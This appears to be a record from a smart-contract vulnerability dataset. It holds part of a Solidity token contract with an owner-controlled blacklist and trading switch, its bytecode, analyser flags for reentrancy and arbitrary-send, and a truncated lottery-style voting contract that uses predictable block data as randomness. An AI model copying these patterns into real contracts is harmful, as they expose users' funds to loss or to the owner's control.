greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address sniper) external onlyOwner { _isSniper[sniper] = true; } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e1461066f578063e0f9f6a0146106b5578063ea1644d5146106d5578063f2fde38b146106f5578063fe72c3c11461071557600080fd5b80639e78fb4f146105da5780639ec350ed146105ef5780639f1315711461060f578063a9059cbb1461062f578063c55284901461064f57600080fd5b8063881dce60116100f2578063881dce60146105355780638da5cb5b146105555780638f70ccf7146105735780638f9a55c01461059357806395d89b41146105a957600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637d1db4a51461051f57600080fd5b806333251a0b116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b806333251a0b146103a757806338eea22d146103c95780633e3e9598146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f5780632fd689e314610375578063313ce5671461038b57600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190612102565b60405180910390f35b34801561028557600080fd5b50610299610294366004612079565b61072b565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611fc5565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004612038565b610742565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610331601d5481565b34801561039757600080fd5b5060405160098152602001610270565b3480156103b357600080fd5b506103c76103c2366004611fc5565b6107ab565b005b3480156103d557600080fd5b506103c76103e43660046120e0565b610823565b3480156103f557600080fd5b506103c7610404366004611fc5565b610874565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103c76104443660046120c7565b6108c2565b34801561045557600080fd5b506103c7610464366004611fc5565b6108ff565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b506103c761049a3660046120a5565b610959565b3480156104ab57600080fd5b506103c76109a1565b3480156104c057600080fd5b506103316104cf366004611fc5565b6109cb565b3480156104e057600080fd5b506103c76109ed565b3480156104f557600080fd5b506103c76105043660046120c7565b610a61565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610331601b5481565b34801561054157600080fd5b506103c76105503660046120c7565b610b05565b34801561056157600080fd5b506000546001600160a01b0316610302565b34801561057f57600080fd5b506103c761058e3660046120a5565b610b81565b34801561059f57600080fd5b50610331601c5481565b3480156105b557600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105e657600080fd5b506103c7610bcd565b3480156105fb57600080fd5b506103c761060a3660046120e0565b610db2565b34801561061b57600080fd5b506103c761062a3660046120a5565b610e03565b34801561063b57600080fd5b5061029961064a366004612079565b610e4b565b34801561065b57600080fd5b506103c761066a3660046120e0565b610e58565b34801561067b57600080fd5b5061033161068a366004611fff565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106c157600080fd5b506103c76106d03660046120c7565b610ea9565b3480156106e157600080fd5b506103c76106f03660046120c7565b610ef3565b34801561070157600080fd5b506103c7610710366004611fc5565b610f31565b34801561072157600080fd5b5061033160185481565b600061073833848461101b565b5060015b92915050565b600061074f84848461113f565b6107a1843361079c856040518060600160405280602881526020016122d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611866565b61101b565b5060019392505050565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016107d590612157565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610820576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107d590612157565b600182111561085b57600080fd5b600181111561086957600080fd5b600d91909155600f55565b6000546001600160a01b0316331461089e5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108ec5760405162461bcd60e51b81526004016107d590612157565b60018111156108fa57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461091f57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109835760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109c157600080fd5b47610820816118a0565b6001600160a01b03811660009081526002602052604081205461073c906118de565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016107d590612157565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016107d590612157565b674563918244f40000811015610b005760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d5565b601b55565b6017546001600160a01b0316336001600160a01b031614610b2557600080fd5b610b2e306109cb565b8111158015610b3d5750600081115b610b785760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d5565b61082081611962565b6000546001600160a01b03163314610bab5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610bf75760405162461bcd60e51b81526004016107d590612157565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c5757600080fd5b505afa158015610c6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8f9190611fe2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd757600080fd5b505afa158015610ceb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0f9190611fe2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611fe2565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ddc5760405162461bcd60e51b81526004016107d590612157565b6001821115610dea57600080fd5b6013811115610df857600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073833848461113f565b6000546001600160a01b03163314610e825760405162461bcd60e51b81526004016107d590612157565b600d821115610e9057600080fd5b600d811115610e9e57600080fd5b600e91909155601055565b6000546001600160a01b03163314610ed35760405162461bcd60e51b81526004016107d590612157565b6004811115610ee157600080fd5b610eed81610e1061225e565b60185550565b6000546001600160a01b03163314610f1d5760405162461bcd60e51b81526004016107d590612157565b601c54811015610f2c57600080fd5b601c55565b6000546001600160a01b03163314610f5b5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b038116610fc05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661107d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d5565b6001600160a01b0382166110de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d5565b6001600160a01b0382166112055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d5565b600081116112675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d5565b6001600160a01b03821660009081526009602052604090205460ff16156112a05760405162461bcd60e51b81526004016107d59061218c565b6001600160a01b03831660009081526009602052604090205460ff16156112d95760405162461bcd60e51b81526004016107d59061218c565b3360009081526009602052604090205460ff16156113095760405162461bcd60e51b81526004016107d59061218c565b6000546001600160a01b0384811691161480159061133557506000546001600160a01b03838116911614155b156116ae57601a54600160a01b900460ff166113935760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d5565b601a546001600160a01b0383811691161480156113be57506019546001600160a01b03848116911614155b15611470576001600160a01b03821630148015906113e557506001600160a01b0383163014155b80156113ff57506017546001600160a01b03838116911614155b801561141957506017546001600160a01b03848116911614155b1561147057601b548111156114705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d5565b601a546001600160a01b0383811691161480159061149c57506017546001600160a01b03838116911614155b80156114b157506001600160a01b0382163014155b80156114c857506001600160a01b03821661dead14155b156115a857601c54816114da846109cb565b6114e49190612224565b1061153d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d5565b601a54600160b81b900460ff16156115a857600a5461155e906104b0612224565b42116115a857601e548111156115a85760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d5565b60006115b3306109cb565b601d5490915081118080156115d25750601a54600160a81b900460ff16155b80156115ec5750601a546001600160a01b03868116911614155b80156116015750601a54600160b01b900460ff165b801561162657506001600160a01b03851660009081526006602052604090205460ff16155b801561164b57506001600160a01b03841660009081526006602052604090205460ff16155b156116ab57601354600090156116865761167b606461167560135486611aeb90919063ffffffff16565b90611b6a565b905061168681611bac565b611698611693828561227d565b611962565b4780156116a8576116a8476118a0565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116f057506001600160a01b03831660009081526006602052604090205460ff165b806117225750601a546001600160a01b038581169116148015906117225750601a546001600160a01b03848116911614155b1561172f57506000611854565b601a546001600160a01b03858116911614801561175a57506019546001600160a01b03848116911614155b156117b5576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156117b5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117e057506019546001600160a01b03858116911614155b15611854576001600160a01b0384166000908152600460205260409020541580159061183157506018546001600160a01b038516600090815260046020526040902054429161182e91612224565b10155b1561184757600b54601155600c54601255611854565b600f546011556010546012555b61186084848484611bb9565b50505050565b6000818484111561188a5760405162461bcd60e51b81526004016107d59190612102565b506000611897848661227d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156118da573d6000803e3d6000fd5b5050565b60006007548211156119455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d5565b600061194f611bed565b905061195b8382611b6a565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119aa576119aa6122aa565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119fe57600080fd5b505afa158015611a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a369190611fe2565b81600181518110611a4957611a496122aa565b6001600160a01b039283166020918202929092010152601954611a6f913091168461101b565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aa89085906000908690309042906004016121b3565b600060405180830381600087803b158015611ac257600080fd5b505af1158015611ad6573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611afa5750600061073c565b6000611b06838561225e565b905082611b13858361223c565b1461195b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d5565b600061195b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c10565b6108203061dead8361113f565b80611bc657611bc6611c3e565b611bd1848484611c83565b8061186057611860601454601155601554601255601654601355565b6000806000611bfa611d7a565b9092509050611c098282611b6a565b9250505090565b60008183611c315760405162461bcd60e51b81526004016107d59190612102565b506000611897848661223c565b601154158015611c4e5750601254155b8015611c5a5750601354155b15611c6157565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c9587611dba565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cc79087611e17565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cf69086611e59565b6001600160a01b038916600090815260026020526040902055611d1881611eb8565b611d228483611f02565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d6791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d958282611b6a565b821015611db157505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611dd78a601154601254611f26565b9250925092506000611de7611bed565b90506000806000611dfa8e878787611f75565b919e509c509a509598509396509194505050505091939550919395565b600061195b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611866565b600080611e668385612224565b90508381101561195b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d5565b6000611ec2611bed565b90506000611ed08383611aeb565b30600090815260026020526040902054909150611eed9082611e59565b30600090815260026020526040902055505050565b600754611f0f9083611e17565b600755600854611f1f9082611e59565b6008555050565b6000808080611f3a60646116758989611aeb565b90506000611f4d60646116758a89611aeb565b90506000611f6582611f5f8b86611e17565b90611e17565b9992985090965090945050505050565b6000808080611f848886611aeb565b90506000611f928887611aeb565b90506000611fa08888611aeb565b90506000611fb282611f5f8686611e17565b939b939a50919850919650505050505050565b600060208284031215611fd757600080fd5b813561195b816122c0565b600060208284031215611ff457600080fd5b815161195b816122c0565b6000806040838503121561201257600080fd5b823561201d816122c0565b9150602083013561202d816122c0565b809150509250929050565b60008060006060848603121561204d57600080fd5b8335612058816122c0565b92506020840135612068816122c0565b929592945050506040919091013590565b6000806040838503121561208c57600080fd5b8235612097816122c0565b946020939093013593505050565b6000602082840312156120b757600080fd5b8135801515811461195b57600080fd5b6000602082840312156120d957600080fd5b5035919050565b600080604083850312156120f357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561212f57858101830151858201604001528201612113565b81811115612141576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122035784516001600160a01b0316835293830193918301916001016121de565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561223757612237612294565b500190565b60008261225957634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561227857612278612294565b500290565b60008282101561228f5761228f612294565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461082057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5b66efc897b30cd7e07bedb0186d0cce24df23f6d46159cf2b8ab37df1b2a4e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,044
0xc9ee2c337c44d883f1743ba3ab03f6fbdc6225c2
pragma solidity^0.4.24; /*interface DiviesInterface { function deposit() external payable; }*/ contract Cryptorank{ using SafeMath for *; using NameFilter for string; struct Round { bool active; address lastvoter; uint256 jackpot; //奖池 25% uint256 start; uint256 end; uint256 tickets;//总票数 uint256 pot;//空投,1% } struct Coin { string symbol; string name; uint256 votes; } address[] public players; //Coin[] public coins; Coin[] public coinSorting;//排序数组 mapping(uint256 => Round) public rounds; //DiviesInterface constant private Divies = DiviesInterface(0x4a771aa796ba9fd4c5ed3d6e7b6e98270d5de880); address private owner; address public manager; uint256 public roundid = 0;//局数 uint256 constant private initvotetime = 1 hours; uint256 constant private voteinterval = 90 seconds; uint256 constant private maxvotetime = 24 hours; uint256 public addcoinfee = 1 ether; uint256 private SortingCoinstime; uint256 public raiseethamount = 0;//众筹100个ether uint8 public addcoinslimit = 5;// 用户一次性最多添加5个币种,待管理员调整上币价格 uint256 public tonextround = 0;//留到下一轮的资金 //uint8 constant public raiseicoprice = 100; //uint8 private invitation = 10;//邀请分比,10% //uint8 private promote = 5;//推广.5% uint256 private fund = 0;//基金,8% uint256 public nextRoundCoolingTime = 10 minutes;//下局开始的冷却时间 uint256 public ticketPrice = 0.01 ether;//票价 mapping(string=>bool) have; mapping(string=>uint) cvotes; mapping(uint256 => uint256) public awardedReward;//已发放的奖励 mapping(uint256 => uint256) public ticketHolderReward;//持票者奖励 mapping(address => uint256) public selfharvest;//占比提成 mapping(address => uint256) public selfvoteamount;//个人投资总金额 mapping(address => uint256) public selfvotes;//个人票数 mapping(address => uint8) public selfOdds;//中奖概率 mapping(address => uint256) public selfpotprofit;//空投奖励 mapping(address => uint256) public selfcommission;//邀请抽成 mapping(address => string) public playername; mapping(address => address) public playerreferees; mapping(bytes32 => uint256) public verifyName;//验证名字是否重复 mapping(address => bool) public pState; //状态 表示地址是否已经注册为会员 mapping(address => uint256) public raisemax;//众筹个人限制在1ether内 modifier isactivity(uint256 rid){ require(rounds[rid].active == true); _; } modifier onlyowner() { require(msg.sender == owner); _; } modifier isRepeat(string _name) { require(have[_name]==false); _; } modifier isHave (string _name) { require(have[_name]==true); _; } //排序刷新事件 event Sortime(address indexed adr,uint256 indexed time); event AddCoin(uint _id,string _name,string _symbol); constructor() public { owner = msg.sender; startRound(); } //货币函数 //添加币 function addcoin(string _name,string _symbol) public payable isRepeat(_name) { require(addcoinslimit > 1); if(msg.sender != owner){ require(msg.value >= addcoinfee); } uint id = coinSorting.push(Coin(_symbol,_name, 0)) - 1; cvotes[_name]=id; emit AddCoin(id,_name,_symbol); have[_name]=true; addcoinslimit --; rounds[roundid].jackpot = rounds[roundid].jackpot.add(msg.value); } function tovote(string _name,uint256 _votes,uint256 reward) private isHave(_name) { coinSorting[cvotes[_name]].votes = coinSorting[cvotes[_name]].votes.add(_votes) ; for(uint256 i = 0;i < players.length;i++){ address player = players[i]; uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets); selfharvest[player] = selfharvest[player].add(backreward); } } //由大到小排序 function SortingCoins() public { /* delete coinSorting; coinSorting.length = 0; for(uint256 i = 0;i<coins.length;i++){ coinSorting.push(Coin(coins[i].symbol,coins[i].name,coins[i].votes)); }*/ for(uint256 i = 0;i< coinSorting.length;i++){ for(uint256 j = i + 1;j < coinSorting.length;j++){ if(coinSorting[i].votes < coinSorting[j].votes){ cvotes[coinSorting[i].name] = j; cvotes[coinSorting[j].name] = i; Coin memory temp = Coin(coinSorting[i].symbol,coinSorting[i].name,coinSorting[i].votes); coinSorting[i] = Coin(coinSorting[j].symbol,coinSorting[j].name,coinSorting[j].votes); coinSorting[j] = Coin(temp.symbol,temp.name,temp.votes); } } } } //设置上币价 function setcoinfee(uint256 _fee) external onlyowner{ addcoinfee = _fee; addcoinslimit = 5; } function getcoinSortinglength() public view returns(uint ) { return coinSorting.length; } function getcvotesid(string _name)public view returns (uint) { return cvotes[_name]; } function getcoinsvotes(string _name) public view returns(uint) { return coinSorting[cvotes[_name]].votes; } //众筹 function raisevote() payable public isactivity(roundid){ require(raiseethamount < 100 ether); require(raisemax[msg.sender].add(msg.value) <= 1 ether); uint256 raiseeth; if(raiseethamount.add(msg.value) > 100 ether){ raiseeth = 100 - raiseethamount; uint256 backraise = raiseethamount.add(msg.value) - 100 ether; selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(backraise); }else{ raiseeth = msg.value; } raiseethamount = raiseethamount.add(raiseeth); raisemax[msg.sender] = raisemax[msg.sender].add(raiseeth); uint256 ticketamount = raiseeth.div(0.01 ether); //Divies.deposit.value(msg.value.mul(5).div(100))(); uint256 reward = msg.value.mul(51).div(100); for(uint256 i = 0;i < players.length;i++){ address player = players[i]; uint256 backreward = reward.mul(selfvotes[player]).div(rounds[roundid].tickets); selfharvest[player] = selfharvest[player].add(backreward); } allot(ticketamount); } /////////////////////////////////////////////// // OWNER FUNCTIONS /////////////////////////////////////////////// function transferOwnership(address newOwner) public { require(msg.sender == owner); owner = newOwner; } //设置manager地址,用以取款基金和注册费 function setManager(address _manager) public onlyowner{ manager = _manager; } //开始下一轮 function startRound() private{ roundid++; rounds[roundid].active = true; rounds[roundid].lastvoter = 0x0; rounds[roundid].jackpot = tonextround; rounds[roundid].start = now; rounds[roundid].end = now + initvotetime; rounds[roundid].tickets = 0; rounds[roundid].pot = 0; ticketPrice = 0.01 ether; } //计算票价 function calculatVotePrice() public view returns(uint256){ uint256 playersnum = players.length; if(playersnum <= 30) return ticketPrice.mul(112).div(100); if(playersnum>30 && playersnum <= 100) return ticketPrice.mul(103).div(100); if(playersnum > 100) return ticketPrice.mul(101).div(100); } //判断是非中奖 function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 100) * 100)) < selfOdds[msg.sender]) return(true); else return(false); } //计算空投奖励 function airdrppReward() private returns(string){ if(airdrop() == false){ return "非常遗憾!没有空投!"; } else{ if(selfvoteamount[msg.sender] <= 1 ether && rounds[roundid].pot >= 0.1 ether){ selfpotprofit[msg.sender] = selfpotprofit[msg.sender].add(0.1 ether); } rounds[roundid].pot = rounds[roundid].pot.sub(0.1 ether); return "恭喜获得空投 0.1 ether"; } if(1 ether < selfvoteamount[msg.sender] && selfvoteamount[msg.sender] 